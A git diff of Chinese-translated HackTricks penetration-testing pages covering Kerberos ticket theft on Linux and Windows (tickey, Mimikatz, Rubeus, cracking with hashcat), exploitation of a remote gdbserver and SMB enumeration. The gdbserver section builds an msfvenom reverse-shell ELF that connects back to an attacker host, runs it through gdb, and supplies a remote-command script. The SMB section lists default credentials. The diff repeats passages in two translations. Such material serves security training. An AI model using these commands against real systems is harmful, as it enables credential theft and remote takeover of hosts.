> **keyctl 系统调用**在内核版本 2.6.10 中引入。这为**用户空间应用程序提供了一个 API**,可以用来与内核密钥环交互。
|
||||
|
||||
> 正在使用的**密钥环的名称**可以从**Kerberos 配置文件 /etc/krb5.conf**中解析出来,该文件默认对任何人都启用了读权限(八进制 644)。攻击者可以利用这些信息来**搜索包含票据**的密钥环并提取票据。在第 A.2 节中可以看到实现此功能的概念验证脚本 **(hercules.sh)**。在密钥环中,ccache 以组件形式存储。如图 2 所示,文件 ccache 由 3 个不同的组件组成:头部、默认主体和一系列凭证。**密钥环保存默认主体和凭证**。此脚本将这些组件转储到单独的文件中。然后使用**攻击者合成的头部**,这些部分按正确的顺序组合起来,**重建文件 ccache**。然后可以将重建的文件传送到攻击者的机器上,然后用来冒充 Kerberos 用户。在第 A.3 节中可以看到生成有效 ccache 头部的简单程序。
|
||||
|
||||
基于论文中的 **heracles.sh 脚本**,你可以使用的一个 C 工具(由完整帖子的作者创建)是 [**tickey**](https://github.com/TarlogicSecurity/tickey)**,它可以从密钥环中提取票据:**
|
||||
```
|
||||
/tmp/tickey -i
|
||||
```
|
||||
**以下信息摘自:** [**https://www.tarlogic.com/en/blog/how-to-attack-kerberos/**](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
### Linux中的凭据存储
|
||||
Linux系统将凭据存储在三种缓存中,即**文件**(在`/tmp`目录中)、**内核密钥环**(Linux内核中的特殊段)和**进程内存**(用于单进程使用)。`/etc/krb5.conf`中的**default\_ccache\_name**变量揭示了正在使用的存储类型,默认为`FILE:/tmp/krb5cc_%{uid}`。
|
||||
|
||||
### 提取凭据
|
||||
2017年的论文[**Kerberos凭据窃取(GNU/Linux)**](https://www.delaat.net/rp/2016-2017/p97/report.pdf)概述了从密钥环和进程中提取凭据的方法,强调了Linux内核的密钥环机制用于管理和存储密钥。
|
||||
|
||||
#### 密钥环提取概述
|
||||
引入于内核版本2.6.10的**keyctl系统调用**允许用户空间应用程序与内核密钥环交互。密钥环中的凭据存储为组件(默认主体和凭据),与文件ccaches不同,文件ccaches还包括标头。论文中的**hercules.sh脚本**演示了提取和重建这些组件以生成可用于凭据窃取的文件ccache。
|
||||
|
||||
#### 凭据提取工具:Tickey
|
||||
基于**hercules.sh脚本**的原理,[**tickey**](https://github.com/TarlogicSecurity/tickey)工具专门用于从密钥环中提取票证,通过`/tmp/tickey -i`执行。
|
||||
|
||||
# 参考资料
|
||||
* [**https://www.tarlogic.com/en/blog/how-to-attack-kerberos/**](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,46 +1,48 @@
|
|||
# 从Windows中提取票据
|
||||
# 从Windows中获取票据
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
在Windows中,票据由lsass(本地安全权限子系统服务)进程**处理和存储**,该进程负责安全。因此,要从Windows系统中检索票据,需要**与lsass通信并请求它们**。作为**非管理员用户只能获取自己的票据**,然而,作为机器**管理员**,可以提取**所有**票据。为此,可以使用以下所示的工具**Mimikatz或Rubeus**:
|
||||
Windows中的票据由**lsass**(本地安全性机构子系统服务)进程管理和存储,负责处理安全策略。要提取这些票据,需要与lsass进程进行交互。非管理员用户只能访问自己的票据,而管理员有权限提取系统上的所有票据。对于这样的操作,通常使用**Mimikatz**和**Rubeus**工具,它们分别提供不同的命令和功能。
|
||||
|
||||
### Mimikatz
|
||||
Mimikatz是一个多功能工具,可以与Windows安全进行交互。它不仅用于提取票据,还用于各种其他与安全相关的操作。
|
||||
```bash
|
||||
# Using mimikatz
|
||||
# Extracting tickets using Mimikatz
|
||||
sekurlsa::tickets /export
|
||||
# Using Rubeus
|
||||
## Dump all tickets
|
||||
```
|
||||
### Rubeus
|
||||
Rubeus是一款专门针对Kerberos交互和操作的工具。它用于票据提取和处理,以及其他与Kerberos相关的活动。
|
||||
```bash
|
||||
# Dumping all tickets using Rubeus
|
||||
.\Rubeus dump
|
||||
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))
|
||||
|
||||
## List all tickets
|
||||
# Listing all tickets
|
||||
.\Rubeus.exe triage
|
||||
## Dump the interesting one by luid
|
||||
|
||||
# Dumping a specific ticket by LUID
|
||||
.\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
|
||||
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))
|
||||
|
||||
# Renewing a ticket
|
||||
.\Rubeus.exe renew /ticket:<BASE64_TICKET>
|
||||
|
||||
# Converting a ticket to hashcat format for offline cracking
|
||||
.\Rubeus.exe hash /ticket:<BASE64_TICKET>
|
||||
```
|
||||
**以下信息摘自:** [**https://www.tarlogic.com/en/blog/how-to-attack-kerberos/**](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)****
|
||||
在使用这些命令时,请确保将类似 `<BASE64_TICKET>` 和 `<luid>` 这样的占位符替换为实际的Base64编码票证和登录ID。这些工具提供了广泛的功能,用于管理票证并与Windows的安全机制进行交互。
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>从零开始学习 AWS 黑客攻击!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您希望在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF 版本**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
# 参考资料
|
||||
* **[https://www.tarlogic.com/en/blog/how-to-attack-kerberos/](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)**
|
||||
|
|
|
@ -1,36 +1,36 @@
|
|||
# Pentesting Remote GdbServer
|
||||
# 远程 GdbServer 渗透测试
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零到英雄学习AWS黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或**关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**即时可用的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,拥有20多个工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发定制工具、检测和利用模块,以便他们有更多时间深入挖掘、弹出shell,并享受乐趣。
|
||||
**即时提供的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,拥有 20 多种工具和功能,从侦察到报告。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块,让他们有更多时间深入挖掘、弹出 shell 并享受乐趣。
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
## **基本信息**
|
||||
|
||||
**gdbserver** 是一个计算机程序,它可以远程调试其他程序。它运行在与要调试的程序相同的系统上,允许**GNU调试器从另一个系统连接**;也就是说,只有要调试的可执行文件需要驻留在目标系统("target")上,而源代码和要调试的二进制文件副本驻留在开发者的本地计算机("host")上。连接可以是TCP或串行线。
|
||||
**gdbserver** 是一个计算机程序,可以远程调试其他程序。在与要调试的程序相同的系统上运行,它允许**GNU 调试器从另一个系统连接**;也就是说,只有要调试的可执行文件需要驻留在目标系统(“目标”)上,而源代码和要调试的二进制文件的副本驻留在开发人员的本地计算机(“主机”)上。连接可以是 TCP 或串行线路。
|
||||
|
||||
您可以让**gdbserver监听任何端口**,目前**nmap无法识别该服务**。
|
||||
您可以让 **gdbserver 监听任何端口**,而目前 **nmap 无法识别该服务**。
|
||||
|
||||
## 利用
|
||||
|
||||
### 上传和执行
|
||||
|
||||
您可以轻松创建一个**elf后门与msfvenom**,上传并执行它:
|
||||
您可以使用 **msfvenom 轻松创建一个 elf 后门**,上传并执行:
|
||||
```bash
|
||||
# Trick shared by @B1n4rySh4d0w
|
||||
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf
|
||||
|
@ -55,7 +55,7 @@ run
|
|||
```
|
||||
### 执行任意命令
|
||||
|
||||
还有另一种方法可以**通过从**[**这里**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target)**获取的python自定义脚本,使调试器执行任意命令。**
|
||||
有另一种方法可以通过[这里获取的python自定义脚本](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target)让调试器执行任意命令。
|
||||
```bash
|
||||
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
|
||||
target extended-remote 192.168.1.4:2345
|
||||
|
@ -74,7 +74,7 @@ r
|
|||
# Run the remote command, e.g. `ls`.
|
||||
rcmd ls
|
||||
```
|
||||
首先**在本地创建这个脚本**:
|
||||
首先**在本地创建此脚本**:
|
||||
|
||||
{% code title="remote-cmd.py" %}
|
||||
```python
|
||||
|
@ -193,26 +193,24 @@ gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}')
|
|||
|
||||
RemoteCmd()
|
||||
```
|
||||
```markdown
|
||||
{% endcode %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**随时可用的漏洞评估与渗透测试设置**。在任何地方运行完整的渗透测试,拥有20多个工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发定制工具、检测和利用模块,以便让他们有更多时间深入挖掘、弹出shell,并享受乐趣。
|
||||
**立即提供的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,使用20多种工具和功能,从侦察到报告。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块,为他们节省时间深入挖掘、弹出shell并享受乐趣。
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客技术直至成为专家!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -1,55 +1,58 @@
|
|||
# 139,445 - Pentesting SMB
|
||||
# 139,445 - SMB渗透测试
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为英雄级人物</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## **端口 139**
|
||||
## **端口139**
|
||||
|
||||
**NetBIOS** 代表 _网络基本输入输出系统_。它是一个软件协议,允许应用程序、PC和局域网(LAN)上的桌面计算机与网络硬件通信,并在网络上传输数据。在NetBIOS网络上运行的软件应用程序通过它们的NetBIOS名称来定位和识别彼此。NetBIOS名称最长可达16个字符,通常与计算机名称不同。当一个应用程序(客户端)向另一个客户端(服务器)发送命令通过**TCP端口139**“呼叫”时,两个应用程序就开始了一个NetBIOS会话。(摘自[此处](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for))
|
||||
**_网络基本输入输出系统_(NetBIOS)**是一种软件协议,旨在使局域网(LAN)中的应用程序、个人电脑和台式机能够与网络硬件进行交互,**促进数据在网络中的传输**。在NetBIOS网络上,通过它们的NetBIOS名称来识别和定位运行的软件应用程序,这些名称最多可以有16个字符,并且通常与计算机名称不同。两个应用程序之间的NetBIOS会话是通过一个应用程序(作为客户端)向另一个应用程序(作为服务器)发出“呼叫”命令来启动的,使用**TCP端口139**。
|
||||
```
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
## 端口 445
|
||||
## 端口445
|
||||
|
||||
虽然端口 139 在技术上被称为“NBT over IP”,端口 445 则是“SMB over IP”。**SMB** 代表“**服务器消息块**”。在现代语言中的服务器消息块也被称为**通用互联网文件系统**。该系统主要用作应用层网络协议,用于提供对文件、打印机、串行端口以及网络上节点之间其他类型通信的共享访问。
|
||||
从技术上讲,端口139被称为“NBT over IP”,而端口445被标识为“SMB over IP”。缩写**SMB**代表“**Server Message Blocks**”,也被现代称为**Common Internet File System (CIFS)**。作为一个应用层网络协议,SMB/CIFS主要用于实现文件、打印机、串行端口的共享访问,并促进网络中节点之间各种形式的通信。
|
||||
|
||||
例如,在Windows上,SMB可以直接在TCP/IP上运行,无需NetBIOS over TCP/IP。这将使用端口 445。在其他系统上,你会发现服务和应用程序使用端口 139。这意味着SMB正在NetBIOS over TCP/IP上运行。(摘自[此处](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for))
|
||||
例如,在Windows环境中,突出显示SMB可以直接通过TCP/IP运行,消除了对NetBIOS over TCP/IP的必要性,通过利用端口445。相反,在不同系统上,观察到使用端口139,表明SMB与NetBIOS over TCP/IP一起执行。
|
||||
```
|
||||
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
||||
```
|
||||
### SMB
|
||||
|
||||
服务器消息块(`SMB`)是一种**客户端-服务器**协议,它规定了对**文件**和整个目录以及其他网络资源(如打印机、路由器或为网络发布的接口)的**访问**。该协议的主要应用领域特别是**Windows**操作系统系列,其网络服务以向下兼容的方式支持SMB - 这意味着安装了较新版Microsoft操作系统的设备可以轻松与安装了较旧操作系统的设备通信。\
|
||||
通过免费软件项目**Samba**,还提供了一种解决方案,使得**SMB在Linux**和Unix发行版中的使用成为可能,从而实现了通过SMB进行跨平台通信。
|
||||
**Server Message Block (SMB)**协议以**客户端-服务器**模型运行,旨在规范对文件、目录和其他网络资源(如打印机和路由器)的访问。SMB主要用于**Windows**操作系统系列,确保向后兼容性,使具有较新版本Microsoft操作系统的设备能够与运行较旧版本的设备无缝交互。此外,**Samba**项目提供了一个免费软件解决方案,使SMB能够在**Linux**和Unix系统上实现,从而通过SMB促进跨平台通信。
|
||||
|
||||
SMB服务器可以提供其本地文件系统的**任意部分作为共享**。因此,客户端**可见的层次结构**部分地**独立于**服务器上的**结构**。**访问权限**由`访问控制列表`(`ACL`)定义。它们可以根据属性(如**`执行`**、**`读取`**和**`完全访问`**)以**细粒度**方式控制,适用于个别用户或用户组。**ACL**是**基于共享**定义的,因此不对应于服务器本地分配的权限。
|
||||
共享代表**本地文件系统的任意部分**,可以由SMB服务器提供,使得部分客户端可以看到层次结构,**与服务器的实际结构部分独立**。**访问控制列表(ACLs)**定义了**访问权限**,允许对用户权限进行**细粒度控制**,包括**`执行`**、**`读取`**和**`完全访问`**等属性。这些权限可以分配给个别用户或组,基于共享,与服务器上设置的本地权限不同。
|
||||
|
||||
### IPC$ 共享
|
||||
|
||||
来自书籍 _**网络安全评估 第3版**_
|
||||
通过匿名空会话,可以访问IPC$共享,从而与通过命名管道公开的服务进行交互。工具`enum4linux`对此很有用。正确使用它,可以获取:
|
||||
|
||||
通过匿名空会话,您可以访问IPC$共享并与通过命名管道公开的服务进行交互。Kali Linux中的enum4linux工具特别有用;使用它,您可以获得以下信息:
|
||||
- 操作系统信息
|
||||
- 父域的详细信息
|
||||
- 本地用户和组的汇编
|
||||
- 可用SMB共享的信息
|
||||
- 有效的系统安全策略
|
||||
|
||||
* 操作系统信息
|
||||
* 父域的详细信息
|
||||
* 本地用户和组的列表
|
||||
* 可用的SMB共享详情
|
||||
* 有效的系统安全策略
|
||||
这个功能对于网络管理员和安全专业人员来评估网络上SMB(Server Message Block)服务的安全状况至关重要。`enum4linux`提供了目标系统SMB环境的全面视图,这对于识别潜在漏洞并确保SMB服务得到适当保护至关重要。
|
||||
```bash
|
||||
enum4linux -a target_ip
|
||||
```
|
||||
上述命令是`enum4linux`如何用于针对`target_ip`指定的目标执行完整枚举的示例。
|
||||
|
||||
## 什么是 NTLM
|
||||
## 什么是NTLM
|
||||
|
||||
如果您不知道什么是NTLM,或者您想知道它是如何工作的以及如何滥用它,您会发现这个关于**NTLM**的页面非常有趣,页面上解释了**这个协议是如何工作的以及您如何利用它:**
|
||||
如果你不知道什么是NTLM,或者想了解它是如何工作以及如何滥用它,你会发现这个关于**NTLM**的页面非常有趣,其中解释了**这个协议的工作原理以及如何利用它**:
|
||||
|
||||
{% content-ref url="../windows-hardening/ntlm/" %}
|
||||
[ntlm](../windows-hardening/ntlm/)
|
||||
|
@ -57,16 +60,16 @@ SMB服务器可以提供其本地文件系统的**任意部分作为共享**。
|
|||
|
||||
## **服务器枚举**
|
||||
|
||||
### **扫描**网络搜索主机:
|
||||
### **扫描**网络以搜索主机:
|
||||
```bash
|
||||
nbtscan -r 192.168.0.1/24
|
||||
```
|
||||
### SMB 服务器版本
|
||||
|
||||
要寻找可能针对 SMB 版本的漏洞,了解正在使用的版本非常重要。如果其他工具中没有显示这些信息,您可以:
|
||||
要寻找 SMB 版本的可能漏洞,重要的是要知道正在使用的版本。如果这些信息在其他使用的工具中没有出现,您可以:
|
||||
|
||||
* 使用 **MSF** 辅助模块 **auxiliary/scanner/smb/smb_version**
|
||||
* 或者使用这个脚本:
|
||||
- 使用 **MSF** 辅助模块 \_**auxiliary/scanner/smb/smb\_version**
|
||||
- 或者使用以下脚本:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
#Author: rewardone
|
||||
|
@ -83,17 +86,17 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i
|
|||
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
|
||||
echo "" && sleep .1
|
||||
```
|
||||
### **搜索漏洞**
|
||||
### **搜索漏洞利用**
|
||||
```bash
|
||||
msf> search type:exploit platform:windows target:2008 smb
|
||||
searchsploit microsoft smb
|
||||
```
|
||||
### **可能的** 凭据
|
||||
### **可能的**凭证
|
||||
|
||||
| **用户名** | **常用密码** |
|
||||
| **用户名** | **常用密码** |
|
||||
| -------------------- | ----------------------------------------- |
|
||||
| _(空白)_ | _(空白)_ |
|
||||
| guest | _(空白)_ |
|
||||
| _(空白)_ | _(空白)_ |
|
||||
| guest | _(空白)_ |
|
||||
| Administrator, admin | _(空白)_, password, administrator, admin |
|
||||
| arcserve | arcserve, backup |
|
||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||
|
@ -102,9 +105,9 @@ searchsploit microsoft smb
|
